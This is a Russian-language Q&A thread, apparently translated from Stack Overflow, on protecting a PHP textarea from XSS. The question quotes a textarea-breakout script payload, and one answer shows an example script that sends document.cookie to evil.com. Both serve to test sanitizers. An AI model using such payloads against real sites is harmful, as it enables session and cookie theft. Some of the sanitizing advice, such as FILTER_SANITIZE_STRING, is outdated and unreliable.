Обеззараживание вывода в текстовое поле из XSS
Каковы наилучшие методы санации значений из базы данных (в php), если они должны использоваться во входных данных, таких как текстовые области?
Например, при вставке данных я могу вырезать теги и кавычки и заменить их на кодовые символы html, а затем использовать mysql_real_escape_string непосредственно перед вставкой.
При получении этих данных мне нужно, чтобы они отображались в текстовой области. Как я могу сделать это и все же избежать XSS? (Например, вы могли бы легко ввести
</textarea><script type='text/javascript'> Malicious Code</script><textarea>
) и вызывают проблемы.
Спасибо!
3 ответа
Я думаю, что я бы предпочел комбо filter_var
а также url_decode
если вы хотите использовать чисто простое решение php
причина
Представьте себе вменяемый как это
$maliciousCode = "<script>document.write(\"<img src='http://evil.com/?cookies='\"+document.cookie+\"' style='display:none;' />\");</script> I love PHP";
Если я использую strip_tags
var_dump(strip_tags($maliciousCode));
Выход
string 'document.write("' (length=16)
если я использую htmlspecialchars
var_dump(htmlspecialchars($maliciousCode));
Выход
string '<script>document.write("<img src='http://evil.com/?cookies='"+document.cookie+"' style='display:none;' />");</script> I love PHP' (length=166)
Мой выбор
function cleanData($str) {
$str = urldecode ($str );
$str = filter_var($str, FILTER_SANITIZE_STRING);
$str = filter_var($str, FILTER_SANITIZE_SPECIAL_CHARS);
return $str ;
}
$input = cleanData ( $maliciousCode );
var_dump($input);
Выход
string 'document.write(&#34;&#34;); I love PHP' (length=46)
Если форма используется GET
вместо POST
некоторые могут убежать, если URL-адрес закодирован, вы можете получить минимальную информацию и убедиться, что окончательный текст безвреден
Также достаточно класса онлайн, чтобы помочь вам увидеть фильтр
HTMLpurifier - отличный инструмент для очистки нежелательного HTML, особенно нежелательного JavaScript. Также используя htmlspecialchars()
рекомендуется для вывода предоставленного пользователем контента.
После получения грязного спама в моей контактной форме я расширил свою функцию, которая очищает ввод текста в текстовом поле. Теперь он также охватывает многострочный ввод текстовой области.
Мне нужно было отформатировать для нормального отображения, а также HTML-письмо со своей страницы контактов. Это также дает возможность форматировать текстовое электронное письмо, которое я также использую.
function clean_text($text, $html = true)
{ if($text == ""){return "";}
$text = nl2br($text,false); // false gives <br>, true gives <br />
$textary = explode("<br>",$text);
foreach($textary as $key => $val)
{ $val = trim($val);
$val = stripslashes($val);
$val = htmlspecialchars($val);
$textary[$key] = $val;
}
if ($html)
{ return implode("<br />",$textary);} //return implode("<br>",$textary);
else
{ return implode("\r\n",$textary);}
}
Кстати... Спасибо членам SO за то, что они являются частью моего изучения PHP.